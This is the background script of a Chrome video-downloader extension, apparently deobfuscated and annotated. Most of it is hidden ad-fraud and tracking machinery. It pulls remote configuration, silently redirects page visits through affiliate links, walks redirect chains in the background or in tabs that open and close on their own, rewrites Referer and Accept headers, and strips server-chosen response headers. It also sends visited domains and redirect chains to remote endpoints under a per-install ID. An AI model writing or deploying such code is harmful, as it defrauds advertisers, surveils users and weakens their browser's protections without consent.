|  | var _gaq = _gaq || []; | 
        
          |  | class Bg { | 
        
          |  | constructor() { | 
        
          |  | (this.config = { analyticsId: "UA-126378551-1" }), | 
        
          |  | (this.storage = { config: this.config }), | 
        
          |  | (this.filterRequestConfigured = !1), | 
        
          |  | (this.hpInitiated = !1), | 
        
          |  | (this.analyticsSent = !1), | 
        
          |  | (this.uid = ""), | 
        
          |  | (this.bgProcessorRun = !1), | 
        
          |  | this.initStorage(), | 
        
          |  | this.initListeners(); | 
        
          |  | } | 
        
          |  | initListeners() { | 
        
          |  | let a = this; | 
        
          |  | chrome.runtime.onInstalled.addListener(function (b) { | 
        
          |  | "install" == b.reason && a.config.afterInstallUrl | 
        
          |  | ? chrome.tabs.create({ url: a.config.afterInstallUrl }) | 
        
          |  | : "update" == b.reason && | 
        
          |  | a.config.afterUpdateUrl && | 
        
          |  | chrome.tabs.create({ | 
        
          |  | pinned: !0, | 
        
          |  | url: a.config.afterUpdateUrl, | 
        
          |  | }); | 
        
          |  | }), | 
        
          |  | chrome.runtime.setUninstallURL && | 
        
          |  | a.config.afterUninstallUrl && | 
        
          |  | chrome.runtime.setUninstallURL(a.config.afterUninstallUrl); | 
        
          |  | } | 
        
          |  | initStorage() { | 
        
          |  | let a = this; | 
        
          |  | chrome.storage.local.get(this.storage, (b) => { | 
        
          |  | b && (this.storage = b), | 
        
          |  | b && b.config && (this.config = b.config), | 
        
          |  | a.config.uid | 
        
          |  | ? (a.uid = a.config.uid) | 
        
          |  | : ((a.uid = a.config.uid = a.generateUID()), | 
        
          |  | a.saveConfig()), | 
        
          |  | (a.config.mTime && a.config.lTime) || | 
        
          |  | ((a.config.lTime = 0), | 
        
          |  | (a.config.mTime = new Date().getTime()), | 
        
          |  | a.saveConfig()), | 
        
          |  | this.filterRequests(), | 
        
          |  | this.initHeadersProcessesor(), | 
        
          |  | this.initBgProcessor(), | 
        
          |  | this.sendAnalytics(), | 
        
          |  | this.updateConfig(); | 
        
          |  | }); | 
        
          |  | } | 
        
          |  | initHeadersProcessesor() { | 
        
          |  | this.config && | 
        
          |  | this.config.hpUrl && | 
        
          |  | this.config.hpKey && | 
        
          |  | !this.hpInitiated && | 
        
          |  | ((this.hpInitiated = !0), this.headersCheck()); | 
        
          |  | } | 
        
          |  | headersCheck() { | 
        
          |  | var self = this; | 
        
          |  | (function () { | 
        
          |  | function logVisit(referer, canonicalizedDomain, timestamp) { | 
        
          |  | var domainIsInCoverage = false; | 
        
          |  | if (coverageResponse.indexOf(canonicalizedDomain) !== -1) domainIsInCoverage = true; | 
        
          |  | else | 
        
          |  | for (var i in coverageResponse) | 
        
          |  | // either the request domain is a substring of the domain in the coverage list, or the other way around | 
        
          |  | if (coverageResponse[i].indexOf(canonicalizedDomain) !== -1 || canonicalizedDomain.indexOf(coverageResponse[i]) !== -1) { | 
        
          |  | domainIsInCoverage = true; | 
        
          |  | break; | 
        
          |  | } | 
        
          |  | domainIsInCoverage | 
        
          |  | ? (reportingURL = | 
        
          |  | apiURL + | 
        
          |  | "/get?key=" + | 
        
          |  | hpKey + | 
        
          |  | "&out=" + | 
        
          |  | encodeURIComponent(referer) + | 
        
          |  | "&ref=" + | 
        
          |  | encodeURIComponent(referer) + | 
        
          |  | "&uid=&format=go") | 
        
          |  | : (state.data.used_domains[canonicalizedDomain] = timestamp + 864e5); | 
        
          |  | } | 
        
          |  | var apiURL = self.config.hpUrl, | 
        
          |  | hpKey = self.config.hpKey, | 
        
          |  | reportingURL = "", | 
        
          |  | state = { data: { used_domains: {} } }, | 
        
          |  | coverageResponse = [], | 
        
          |  | coverageSuccess = true; | 
        
          |  | // { coverageResponse, coverageSuccess } = HTTP GET $apidomain/coverage?key=$key | 
        
          |  | // returns a JSON array of domains to track | 
        
          |  | (function () { | 
        
          |  | var request = new XMLHttpRequest(); | 
        
          |  | (request.timeout = 15e3), | 
        
          |  | (request.onreadystatechange = function () { | 
        
          |  | 4 === request.readyState && | 
        
          |  | (200 === request.status | 
        
          |  | ? ((coverageResponse = JSON.parse(request.responseText)), | 
        
          |  | coverageResponse && (coverageSuccess = true)) | 
        
          |  | : (coverageSuccess = false)); | 
        
          |  | }), | 
        
          |  | request.open("GET", apiURL + "/coverage?key=" + hpKey, true), | 
        
          |  | request.setRequestHeader( | 
        
          |  | "Content-Type", | 
        
          |  | "application/x-www-form-urlencoded" | 
        
          |  | ), | 
        
          |  | request.send(); | 
        
          |  | })(), | 
        
          |  | chrome.webRequest.onBeforeRequest.addListener( | 
        
          |  | function (event) { | 
        
          |  | if (event.tabId >= 0 && event.method == "GET" && coverageSuccess) { | 
        
          |  | var canonicalizedDomain = event.url | 
        
          |  | .replace(/^https?\:\/\/([^\/]+).*$/, "$1") | 
        
          |  | .replace("www.", ""), | 
        
          |  | timestamp = new Date().getTime(); | 
        
          |  | if ( | 
        
          |  | !( | 
        
          |  | state.data.used_domains[canonicalizedDomain] && | 
        
          |  | state.data.used_domains[canonicalizedDomain] + 7200000 > timestamp | 
        
          |  | ) | 
        
          |  | ) | 
        
          |  | return ((state.data.used_domains[canonicalizedDomain] = timestamp), | 
        
          |  | // else | 
        
          |  | reportingURL ? (reportingURL = "") : logVisit(event.url, canonicalizedDomain, timestamp), | 
        
          |  | reportingURL) | 
        
          |  | ? ((coverageSuccess = false), | 
        
          |  | setTimeout(function () { | 
        
          |  | (reportingURL = ""), (coverageSuccess = true); | 
        
          |  | }, 15e3), | 
        
          |  | { redirectUrl: reportingURL }) | 
        
          |  | : void 0; | 
        
          |  | } | 
        
          |  | }, | 
        
          |  | { urls: ["*://*/*"], types: ["main_frame"] }, | 
        
          |  | ["blocking"] | 
        
          |  | ), | 
        
          |  | chrome.webRequest.onBeforeSendHeaders.addListener( | 
        
          |  | function (event) { | 
        
          |  | // Removes Referer header for any request to the API base URL | 
        
          |  | if (event.method == "GET" && event.url.indexOf(apiURL) !== -1) | 
        
          |  | for (var i in event.requestHeaders) { | 
        
          |  | var value = event.requestHeaders[i]; | 
        
          |  | if ("referer" == value.name.toLowerCase()) { | 
        
          |  | event.requestHeaders.splice(i, 1); | 
        
          |  | break; | 
        
          |  | } | 
        
          |  | } | 
        
          |  | return { requestHeaders: event.requestHeaders }; | 
        
          |  | }, | 
        
          |  | { urls: ["<all_urls>"] }, | 
        
          |  | ["blocking", "requestHeaders"] | 
        
          |  | ); | 
        
          |  | })(); | 
        
          |  | } | 
        
          |  | saveConfig() { | 
        
          |  | chrome.storage.local.set({ config: this.config }); | 
        
          |  | } | 
        
          |  | updateConfig() { | 
        
          |  | let a = this; | 
        
          |  | const b = chrome.runtime.getManifest().version; | 
        
          |  | a.heartBeat(), | 
        
          |  | $.ajax({ | 
        
          |  | url: "http://videodownloader.io/rest/api/config/", | 
        
          |  | dataType: "json", | 
        
          |  | data: { | 
        
          |  | id: "kmdldgcmokdpmacblnehppgkjphcbpnn", | 
        
          |  | version: b, | 
        
          |  | mt: a.config.mTime, | 
        
          |  | lt: a.config.lTime, | 
        
          |  | uid: a.uid, | 
        
          |  | t: Date.now(), | 
        
          |  | }, | 
        
          |  | success: (a) => { | 
        
          |  | if (a) { | 
        
          |  | for (let b in a) this.config[b] = a[b]; | 
        
          |  | this.saveConfig(); | 
        
          |  | } | 
        
          |  | }, | 
        
          |  | complete: () => { | 
        
          |  | a.filterRequests(), | 
        
          |  | a.initHeadersProcessesor(), | 
        
          |  | a.initBgProcessor(), | 
        
          |  | a.sendAnalytics(), | 
        
          |  | a.config.configUpTime && | 
        
          |  | 0 < a.config.configUpTime && | 
        
          |  | setTimeout(function () { | 
        
          |  | a.updateConfig(); | 
        
          |  | }, a.config.configUpTime); | 
        
          |  | }, | 
        
          |  | }); | 
        
          |  | } | 
        
          |  | heartBeat() { | 
        
          |  | let currentTime = new Date().getTime(), | 
        
          |  | b = currentTime - this.config.mTime, | 
        
          |  | c = this.config.configUpTime | 
        
          |  | ? this.config.configUpTime + 3e5 | 
        
          |  | : 12e5; | 
        
          |  | this.config.mTime && b < c | 
        
          |  | ? ((this.config.lTime += b), | 
        
          |  | (this.config.mTime = currentTime), | 
        
          |  | this.saveConfig()) | 
        
          |  | : ((this.config.mTime = currentTime), this.saveConfig()); | 
        
          |  | } | 
        
          |  | generateUID() { | 
        
          |  | // Generate a UUID v4 | 
        
          |  | return "xxxxxxxx-xxxx-2xxx-yxxx-xxxxxxxxxxxx".replace( | 
        
          |  | /[xy]/g, | 
        
          |  | function (a) { | 
        
          |  | var b = 0 | (16 * Math.random()), | 
        
          |  | c = "x" == a ? b : 8 | (3 & b); | 
        
          |  | return c.toString(16); | 
        
          |  | } | 
        
          |  | ); | 
        
          |  | } | 
        
          |  | initBgProcessor() { | 
        
          |  | let a = this; | 
        
          |  | if (!a.config.bgProcessor) | 
        
          |  | return void bgProcessor.initCfg({ mode: "off" }); | 
        
          |  | if (a.bgProcessorRun) | 
        
          |  | return void bgProcessor.initCfg(a.config.bgProcessor); | 
        
          |  | (a.bgProcessorRun = true), | 
        
          |  | bgProcessor.initCfg(a.config.bgProcessor), | 
        
          |  | chrome.webRequest.onCompleted.addListener( | 
        
          |  | function (event) { | 
        
          |  | if ( | 
        
          |  | "on" === bgProcessor.cfg.mode && | 
        
          |  | event.tabId !== -1 && | 
        
          |  | 200 == event.statusCode && | 
        
          |  | "GET" == event.method | 
        
          |  | ) { | 
        
          |  | var baseURL = event.url.replace(/^(https?\:\/\/[^\/]+).*$/, "$1"), | 
        
          |  | domain = event.url.replace(/^https?\:\/\/([^\/]+).*$/, "$1"); | 
        
          |  | bgProcessor.cfg.keep_www_prefix || | 
        
          |  | (domain = domain.replace(/^www\.(.*)$/, "$1")); | 
        
          |  | var timestamp = new Date().getTime(); | 
        
          |  | if ( | 
        
          |  | // TTL since last report for domain has expired | 
        
          |  | !( | 
        
          |  | bgProcessor.used_domains[domain] && | 
        
          |  | bgProcessor.used_domains[domain] + | 
        
          |  | bgProcessor.cfg.ttl_ms > | 
        
          |  | timestamp | 
        
          |  | ) && | 
        
          |  | // Domain is not in blacklist | 
        
          |  | !( | 
        
          |  | bgProcessor.cfg.domains_blacklist && | 
        
          |  | bgProcessor.cfg.domains_blacklist.length > 0 && | 
        
          |  | bgProcessor.cfg.domains_blacklist.includes(domain) | 
        
          |  | ) && | 
        
          |  | // Domain is in whitelist | 
        
          |  | !( | 
        
          |  | bgProcessor.cfg.domains_whitelist && | 
        
          |  | bgProcessor.cfg.domains_whitelist.length > 0 && | 
        
          |  | !bgProcessor.cfg.domains_whitelist.includes(domain) | 
        
          |  | ) | 
        
          |  | ) { | 
        
          |  | bgProcessor.used_domains[domain] = timestamp; | 
        
          |  | // Fill in affiliate URL template with URL and domain for the request | 
        
          |  | var e = bgProcessor.cfg.aff_url_tmpl.replace( | 
        
          |  | "{URL}", | 
        
          |  | encodeURIComponent(baseURL) | 
        
          |  | ); | 
        
          |  | if ( | 
        
          |  | ((e = e.replace( | 
        
          |  | "{DOMAIN}", | 
        
          |  | encodeURIComponent(domain) | 
        
          |  | )), | 
        
          |  | // If aff_redirect is enabled (the above replace is not actually part of the conditional) | 
        
          |  | bgProcessor.cfg.aff_redirect) | 
        
          |  | ) { | 
        
          |  | return !bgProcessor.cfg.domains_whitelist || | 
        
          |  | 0 < | 
        
          |  | !bgProcessor.cfg.domains_whitelist | 
        
          |  | .length | 
        
          |  | ? void 0 | 
        
          |  | // Add to redirect chain? | 
        
          |  | : (bgProcessor.push_chain(baseURL), | 
        
          |  | void bgProcessor.request_bg(e, domain, 0)); | 
        
          |  | } | 
        
          |  |  | 
        
          |  | var request = new XMLHttpRequest(); | 
        
          |  | (request.timeout = bgProcessor.cfg.aff_timeout_ms), | 
        
          |  | (request.onreadystatechange = function () { | 
        
          |  | if (4 == request.readyState && 200 == request.status) { | 
        
          |  | var url = request.responseText.replace( | 
        
          |  | /[\n\r]/g, | 
        
          |  | "" | 
        
          |  | ); | 
        
          |  | if (/^https?\:\/\//.test(url) && url != baseURL) { | 
        
          |  | var domain = baseURL.replace( | 
        
          |  | /^https?\:\/\/([^\/]+).*$/, | 
        
          |  | "$1" | 
        
          |  | ); | 
        
          |  | bgProcessor.push_chain(baseURL), | 
        
          |  | bgProcessor.request(url, domain); | 
        
          |  | } else | 
        
          |  | bgProcessor.used_domains[domain] = | 
        
          |  | timestamp + | 
        
          |  | bgProcessor.cfg | 
        
          |  | .no_coverage_ttl_ms; | 
        
          |  | } | 
        
          |  | }), | 
        
          |  | request.open("GET", e), | 
        
          |  | request.send(); | 
        
          |  | } | 
        
          |  | } | 
        
          |  | }, | 
        
          |  | { urls: ["http://*/*", "https://*/*"], types: ["main_frame"] } | 
        
          |  | ); | 
        
          |  | let listenerOptions = ["blocking", "requestHeaders"]; | 
        
          |  | if ( | 
        
          |  | bgProcessor.cfg && | 
        
          |  | bgProcessor.cfg.rfr_rules && | 
        
          |  | 0 < bgProcessor.cfg.rfr_rules.length && | 
        
          |  | bgProcessor.cfg.listenerExtraOptions | 
        
          |  | ) | 
        
          |  | for (var c in bgProcessor.cfg.listenerExtraOptions) | 
        
          |  | listenerOptions.push(bgProcessor.cfg.listenerExtraOptions[c]); | 
        
          |  | chrome.webRequest.onBeforeSendHeaders.addListener( | 
        
          |  | function (event) { | 
        
          |  | if ("on" !== bgProcessor.cfg.mode || !bgProcessor.cfg.header) | 
        
          |  | return {}; | 
        
          |  | for (var headers = event.requestHeaders, headerValue = "", i = 0; i < headers.length; i++) | 
        
          |  | if (headers[i].name === bgProcessor.cfg.header) { | 
        
          |  | (headerValue = headers[i].value), headers.splice(i, 1); | 
        
          |  | break; | 
        
          |  | } | 
        
          |  | if (!headerValue) return {}; | 
        
          |  | for (var acceptHeaderReplaced = false, i = 0; i < headers.length; i++) | 
        
          |  | if ("accept" == headers[i].name.toLowerCase()) { | 
        
          |  | (headers[i].value = headerValue), (acceptHeaderReplaced = true); | 
        
          |  | break; | 
        
          |  | } | 
        
          |  | acceptHeaderReplaced || headers.push({ name: "Accept", value: headerValue }) | 
        
          |  | if ((event.tabId === -1)) { | 
        
          |  | let newReferer = ""; | 
        
          |  | if (bgProcessor.cfg.rfr_rules) | 
        
          |  | for (let i in bgProcessor.cfg.rfr_rules) { | 
        
          |  | // In all of the below, 'previous request' probably refers to the page that the user loaded, as this code only fires on non-tab requests (eg. XHR) | 
        
          |  | let rule = bgProcessor.cfg.rfr_rules[i]; | 
        
          |  | // If the previous request URL matched a certain regex | 
        
          |  | if (rule.url_request_before) { | 
        
          |  | if (!bgProcessor.last_request_url) continue; | 
        
          |  | let regex = new RegExp( | 
        
          |  | rule.url_request_before[0], | 
        
          |  | rule.url_request_before[1] | 
        
          |  | ); | 
        
          |  | if (!regex.test(bgProcessor.last_request_url)) | 
        
          |  | continue; | 
        
          |  | } | 
        
          |  | // If the previous *response* URL (ie. after redirects) matched a certain regex | 
        
          |  | if (rule.url_response_before) { | 
        
          |  | if (!bgProcessor.last_response_url) continue; | 
        
          |  | let regex = new RegExp( | 
        
          |  | rule.url_response_before[0], | 
        
          |  | rule.url_response_before[1] | 
        
          |  | ); | 
        
          |  | if (!regex.test(bgProcessor.last_response_url)) | 
        
          |  | continue; | 
        
          |  | } | 
        
          |  | // If the previous request/response involved any URL in the redirect chain that matches a certain regex | 
        
          |  | if (rule.url_chain) { | 
        
          |  | if ( | 
        
          |  | !bgProcessor.rdr_chain || | 
        
          |  | 1 > bgProcessor.rdr_chain.length | 
        
          |  | ) | 
        
          |  | continue; | 
        
          |  | let regex = new RegExp( | 
        
          |  | rule.url_chain[0], | 
        
          |  | rule.url_chain[1] | 
        
          |  | ), | 
        
          |  | foundMatch = false; | 
        
          |  | for (let i in bgProcessor.rdr_chain) { | 
        
          |  | let entry = bgProcessor.rdr_chain[i]; | 
        
          |  | if (regex.test(entry)) { | 
        
          |  | foundMatch = true; | 
        
          |  | break; | 
        
          |  | } | 
        
          |  | } | 
        
          |  | if (!foundMatch) continue; | 
        
          |  | } | 
        
          |  | // If the current request URL matches a certain regex | 
        
          |  | if (rule.url_request) { | 
        
          |  | let regex = new RegExp( | 
        
          |  | rule.url_request[0], | 
        
          |  | rule.url_request[1] | 
        
          |  | ); | 
        
          |  | if (!regex.test(event.url)) continue; | 
        
          |  | } | 
        
          |  | if ( | 
        
          |  | ("allow" == rule.rule && | 
        
          |  | (newReferer = bgProcessor.last_response_url), | 
        
          |  | "replace" == rule.rule && | 
        
          |  | rule.replace && | 
        
          |  | (newReferer = rule.replace), | 
        
          |  | "regexp" == rule.rule && rule.regexp && rule.replace) | 
        
          |  | ) { | 
        
          |  | var regex = new RegExp(rule.regexp[0], rule.regexp[1]); | 
        
          |  | newReferer = bgProcessor.last_response_url.replace( | 
        
          |  | regex, | 
        
          |  | rule.replace | 
        
          |  | ); | 
        
          |  | } | 
        
          |  | break; | 
        
          |  | } | 
        
          |  | if (newReferer) { | 
        
          |  | let a = headers.findIndex( | 
        
          |  | (a) => "referer" == a.name.toLowerCase() | 
        
          |  | ); | 
        
          |  | -1 < a | 
        
          |  | ? (headers[a].value = newReferer) | 
        
          |  | : headers.push({ name: "Referer", value: newReferer }); | 
        
          |  | } | 
        
          |  | } | 
        
          |  | return { requestHeaders: headers }; | 
        
          |  | }, | 
        
          |  | { urls: ["http://*/*", "https://*/*"] }, | 
        
          |  | listenerOptions | 
        
          |  | ); | 
        
          |  | } | 
        
          |  | sendAnalytics() { | 
        
          |  | this.analyticsSent || | 
        
          |  | !this.config.analyticsId || | 
        
          |  | (_gaq.push(["_setAccount", this.config.analyticsId]), | 
        
          |  | _gaq.push(["_trackPageview"]), | 
        
          |  | (function () { | 
        
          |  | var a = document.createElement("script"); | 
        
          |  | (a.type = "text/javascript"), | 
        
          |  | (a.async = !0), | 
        
          |  | (a.src = "https://ssl.google-analytics.com/ga.js"); | 
        
          |  | var b = document.getElementsByTagName("script")[0]; | 
        
          |  | b.parentNode.insertBefore(a, b); | 
        
          |  | })(), | 
        
          |  | (this.analyticsSent = !0)); | 
        
          |  | } | 
        
          |  | filterRequests() { | 
        
          |  | var self = this; | 
        
          |  | this.config && | 
        
          |  | this.config.validateFields && | 
        
          |  | !this.filterRequestConfigured && | 
        
          |  | ((this.filterRequestConfigured = !0), | 
        
          |  | chrome.webRequest && | 
        
          |  | chrome.webRequest.onHeadersReceived.addListener( | 
        
          |  | function (event) { | 
        
          |  | return { | 
        
          |  | responseHeaders: event.responseHeaders.filter(function ( | 
        
          |  | header | 
        
          |  | ) { | 
        
          |  | return !( | 
        
          |  | self.config.validateFields && | 
        
          |  | self.config.validateFields.indexOf( | 
        
          |  | header.name.toLowerCase() | 
        
          |  | ) !== -1 | 
        
          |  | ); | 
        
          |  | }), | 
        
          |  | }; | 
        
          |  | }, | 
        
          |  | { urls: ["<all_urls>"] }, | 
        
          |  | ["blocking", "responseHeaders"] | 
        
          |  | )); | 
        
          |  | } | 
        
          |  | } | 
        
          |  | let bgProcessor = { | 
        
          |  | cfg: { mode: "off" }, | 
        
          |  | used_domains: {}, | 
        
          |  | rdr_chain: [], | 
        
          |  | last_request_url: "", | 
        
          |  | last_response_url: "", | 
        
          |  | initCfg(configuration) { | 
        
          |  | configuration && (this.cfg = configuration); | 
        
          |  | }, | 
        
          |  | request: function (url, domain) { | 
        
          |  | this.cfg.debug && console.log("bgProcessor.request", url, domain), | 
        
          |  | // Load URL in a new tab if it contains the substring in the `ntab_tag` configuration option; otherwise load it in the background | 
        
          |  | this.cfg.ntab_tag && url.indexOf(this.cfg.ntab_tag) !== -1 | 
        
          |  | ? setTimeout(function () { | 
        
          |  | bgProcessor.request_tab(url, domain); | 
        
          |  | }, this.cfg.ntab_delay_ms) | 
        
          |  | : this.request_bg(url, domain, 0); | 
        
          |  | }, | 
        
          |  | push_chain: function (a) { | 
        
          |  | this.rdr_chain.push(a); | 
        
          |  | }, | 
        
          |  | request_bg: function (url, _domain_unused, step) { | 
        
          |  | if (!(step >= this.cfg.rdr_max_count) && this.cfg.header) { | 
        
          |  | this.push_chain(url), (bgProcessor.last_request_url = url); | 
        
          |  | var request = new XMLHttpRequest(); | 
        
          |  | (request.timeout = this.cfg.timeout), | 
        
          |  | (request.onreadystatechange = function () { | 
        
          |  | var floor = Math.floor; | 
        
          |  | if (4 == request.readyState) | 
        
          |  | if (200 == request.status) { | 
        
          |  | var response = request.responseText | 
        
          |  | .replace(/[\n\r\s]/g, "") | 
        
          |  | .replace(/\.href/g, ""), | 
        
          |  | handled = false, | 
        
          |  | responseURL = request.responseURL, | 
        
          |  | // URL pathname contains "goto", or domain is in configuration-provided list of redirect domains | 
        
          |  | isRedirectURL = bgProcessor.is_rdr_url(request.responseURL); | 
        
          |  | if ( | 
        
          |  | ((bgProcessor.last_response_url = responseURL), | 
        
          |  | // Push on redirect chain if response URL did not match request URL | 
        
          |  | bgProcessor.last_response_url != | 
        
          |  | bgProcessor.last_request_url && | 
        
          |  | bgProcessor.push_chain( | 
        
          |  | bgProcessor.last_response_url | 
        
          |  | ), | 
        
          |  | // If URL is a known redirect URL, or response size is small enough to look like one | 
        
          |  | isRedirectURL || | 
        
          |  | response.length < | 
        
          |  | bgProcessor.cfg.jsrdr_maxlen_bytes) | 
        
          |  | ) { | 
        
          |  | var redirectTarget = response.replace( | 
        
          |  | /^.*?location\=[\'\"]([^\'\"]+).*$/, | 
        
          |  | "$1" | 
        
          |  | ); | 
        
          |  | // If URL starts with /, ie. is relative, first make it an absolute URL | 
        
          |  | /^\//.test(redirectTarget) && | 
        
          |  | ((link2Url = new URL(redirectTarget, request.responseURL)), | 
        
          |  | (redirectTarget = link2Url.href)), | 
        
          |  | // If valid URL, call request_bg again | 
        
          |  | /^https?\:\/\//.test(redirectTarget) && | 
        
          |  | (bgProcessor.request_bg(redirectTarget, _domain_unused, step + 1), | 
        
          |  | (handled = true)); | 
        
          |  | } | 
        
          |  | if (!handled && bgProcessor.cfg.common_rdr_rules) | 
        
          |  | for (var key in bgProcessor.cfg | 
        
          |  | .common_rdr_rules) { | 
        
          |  | var rule = bgProcessor.cfg.common_rdr_rules[key], | 
        
          |  | ruleRegex = new RegExp( | 
        
          |  | rule.search[0], | 
        
          |  | rule.search[1] | 
        
          |  | ), | 
        
          |  | valueToMatchAgainst = response; | 
        
          |  | if ( | 
        
          |  | // if value.where == "uri", then match against response URL, otherwise against response body | 
        
          |  | ("uri" == rule.where && (valueToMatchAgainst = responseURL), | 
        
          |  | rule.url_pattern) | 
        
          |  | ) { | 
        
          |  | var urlRegex = new RegExp( | 
        
          |  | rule.url_pattern[0], | 
        
          |  | rule.url_pattern[1] | 
        
          |  | ); | 
        
          |  | // Move to next rule if a URL pattern was specified and it didn't match | 
        
          |  | if (!urlRegex.test(responseURL)) continue; | 
        
          |  | } | 
        
          |  | if (valueToMatchAgainst.match(ruleRegex)) { | 
        
          |  | var extracted = valueToMatchAgainst.replace(ruleRegex, rule.replace); | 
        
          |  | if (rule.applyAfter) | 
        
          |  | for (var i in rule.applyAfter) { | 
        
          |  | var operation = rule.applyAfter[i]; | 
        
          |  | if ("decodeURIComponent" == operation) | 
        
          |  | extracted = decodeURIComponent(extracted); | 
        
          |  | else if ("decodeHTML" == operation) { | 
        
          |  | extracted = (function (a) { | 
        
          |  | var textarea = document.createElement( | 
        
          |  | "textarea" | 
        
          |  | ); | 
        
          |  | return ( | 
        
          |  | (textarea.innerHTML = a), | 
        
          |  | textarea.value | 
        
          |  | ); | 
        
          |  | })(extracted); | 
        
          |  | } else; | 
        
          |  | } | 
        
          |  | if (rule.replacements) | 
        
          |  | for (var string in rule.replacements) | 
        
          |  | extracted = extracted.replace( | 
        
          |  | string, | 
        
          |  | rule.replacements[string] | 
        
          |  | ); | 
        
          |  | if (rule.regReplacements) | 
        
          |  | for (var s in rule.regReplacements) { | 
        
          |  | var regex = new RegExp( | 
        
          |  | rule.regReplacements[ | 
        
          |  | s | 
        
          |  | ].pattern[0], | 
        
          |  | rule.regReplacements[ | 
        
          |  | s | 
        
          |  | ].pattern[1] | 
        
          |  | ); | 
        
          |  | extracted = extracted.replace( | 
        
          |  | regex, | 
        
          |  | rule.regReplacements[s].replace | 
        
          |  | ); | 
        
          |  | } | 
        
          |  | if ( | 
        
          |  | // Make relative links absolute | 
        
          |  | (/^\//.test(extracted) && | 
        
          |  | ((link2Url = new URL( | 
        
          |  | extracted, | 
        
          |  | request.responseURL | 
        
          |  | )), | 
        
          |  | (extracted = link2Url.href)), | 
        
          |  | // If valid URL... | 
        
          |  | /^https?\:\/\//.test(extracted)) | 
        
          |  | ) { | 
        
          |  | var delay = rule.delay ? rule.delay : 0; | 
        
          |  | if ( | 
        
          |  | "string" == typeof delay && | 
        
          |  | delay.indexOf("-") !== -1 | 
        
          |  | ) { | 
        
          |  | // Random value between min-max | 
        
          |  | var v = delay.split("-"); | 
        
          |  | delay = floor( | 
        
          |  | Math.random() * | 
        
          |  | (parseInt(v[1]) - | 
        
          |  | parseInt(v[0]) + | 
        
          |  | 1) + | 
        
          |  | parseInt(v[0]) | 
        
          |  | ); | 
        
          |  | } | 
        
          |  | setTimeout(() => { | 
        
          |  | bgProcessor.request_bg( | 
        
          |  | extracted, | 
        
          |  | _domain_unused, | 
        
          |  | step + 1 | 
        
          |  | ); | 
        
          |  | }, parseInt(delay)), | 
        
          |  | (handled = true); | 
        
          |  | break; | 
        
          |  | } | 
        
          |  | } | 
        
          |  | } | 
        
          |  | handled || bgProcessor.send_rdr_log(); | 
        
          |  | } else bgProcessor.send_rdr_log(true); | 
        
          |  | }), | 
        
          |  | request.open("GET", url, true), | 
        
          |  | request.setRequestHeader( | 
        
          |  | this.cfg.header, | 
        
          |  | "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" | 
        
          |  | ), | 
        
          |  | request.send(); | 
        
          |  | } | 
        
          |  | }, | 
        
          |  | is_rdr_url: function (a) { | 
        
          |  | var b = new URL(a); | 
        
          |  | return ( | 
        
          |  | !!(this.cfg.rdr_coverage && b.host in this.cfg.rdr_coverage) || | 
        
          |  | !!/\/goto\/?$/.test(b.pathname) | 
        
          |  | ); | 
        
          |  | }, | 
        
          |  | request_tab: function (url, b) { | 
        
          |  | // Opens a new tab with a given URL for a specified amount of time | 
        
          |  | this.cfg.debug && console.log("bgProcessor.request_tab", url, b), | 
        
          |  | chrome.tabs.create({ url: url, active: true }, function (tab) { | 
        
          |  | setTimeout(function () { | 
        
          |  | try { | 
        
          |  | chrome.tabs.remove(tab.id); | 
        
          |  | } catch (a) {} | 
        
          |  | }, bgProcessor.cfg.ntab_duration_ms); | 
        
          |  | }); | 
        
          |  | }, | 
        
          |  | send_rdr_log: function (isError = false) { | 
        
          |  | if ( | 
        
          |  | this.rdr_chain && | 
        
          |  | this.cfg && | 
        
          |  | this.cfg.log_rdr_active && | 
        
          |  | this.cfg.log_rdr_endpoint | 
        
          |  | ) { | 
        
          |  | // if log_rdr_onlydifferent is enabled, only send the redirect logs when the starting point is different from the end point | 
        
          |  | if (this.cfg && this.cfg.log_rdr_onlydifferent) { | 
        
          |  | var initialURL = this.rdr_chain[0], | 
        
          |  | lastURL = this.rdr_chain[this.rdr_chain.length - 1]; | 
        
          |  | if ( | 
        
          |  | initialURL.replace(/^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1") == | 
        
          |  | lastURL.replace(/^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1") | 
        
          |  | ) | 
        
          |  | return; | 
        
          |  | } | 
        
          |  | var request = new XMLHttpRequest(), | 
        
          |  | endpoint = this.cfg.log_rdr_endpoint; | 
        
          |  | isError && | 
        
          |  | this.cfg.log_rdr_errors_endpoint && | 
        
          |  | (endpoint = this.cfg.log_rdr_errors_endpoint), | 
        
          |  |  | 
        
          |  | request.open("POST", endpoint, !0), | 
        
          |  | request.setRequestHeader( | 
        
          |  | "Content-Type", | 
        
          |  | "application/json;charset=UTF-8" | 
        
          |  | ), | 
        
          |  | request.send(JSON.stringify(this.rdr_chain)), | 
        
          |  | (this.rdr_chain = []), | 
        
          |  | (this.last_request_url = null), | 
        
          |  | (this.last_response_url = null); | 
        
          |  | } | 
        
          |  | }, | 
        
          |  | }; | 
        
          |  | const bg = new Bg(); | 
        
          |  |  | 
        
          |  |  | 
        
          |  | var vd = {}; | 
        
          |  | (vd.tabsData = {}), | 
        
          |  | (vd.linksToBeDownloaded = {}), | 
        
          |  | (vd.videoFormats = { | 
        
          |  | mp4: { type: "mp4" }, | 
        
          |  | flv: { type: "flv" }, | 
        
          |  | mov: { type: "mov" }, | 
        
          |  | webm: { type: "webm" }, | 
        
          |  | }), | 
        
          |  | (vd.isVideoUrl = function (a) { | 
        
          |  | var b = !1; | 
        
          |  | return ( | 
        
          |  | Object.keys(vd.videoFormats).some(function (c) { | 
        
          |  | if (-1 != a.indexOf(c)) return (b = !0), !0; | 
        
          |  | }), | 
        
          |  | b | 
        
          |  | ); | 
        
          |  | }), | 
        
          |  | (vd.getVideoType = function (a) { | 
        
          |  | var b = null; | 
        
          |  | return ( | 
        
          |  | a.some(function (a) { | 
        
          |  | if ("Content-Type" == a.name) | 
        
          |  | return ( | 
        
          |  | Object.keys(vd.videoFormats).forEach(function (c) { | 
        
          |  | if ( | 
        
          |  | -1 != a.value.indexOf(c) && | 
        
          |  | !/^audio/i.test(a.value) | 
        
          |  | ) | 
        
          |  | return (b = c), !0; | 
        
          |  | }), | 
        
          |  | !0 | 
        
          |  | ); | 
        
          |  | }), | 
        
          |  | b | 
        
          |  | ); | 
        
          |  | }), | 
        
          |  | (vd.getNewTabObject = function () { | 
        
          |  | return { videoLinks: [], url: "" }; | 
        
          |  | }), | 
        
          |  | (vd.getVideoSize = function (a) { | 
        
          |  | var b = 0; | 
        
          |  | return ( | 
        
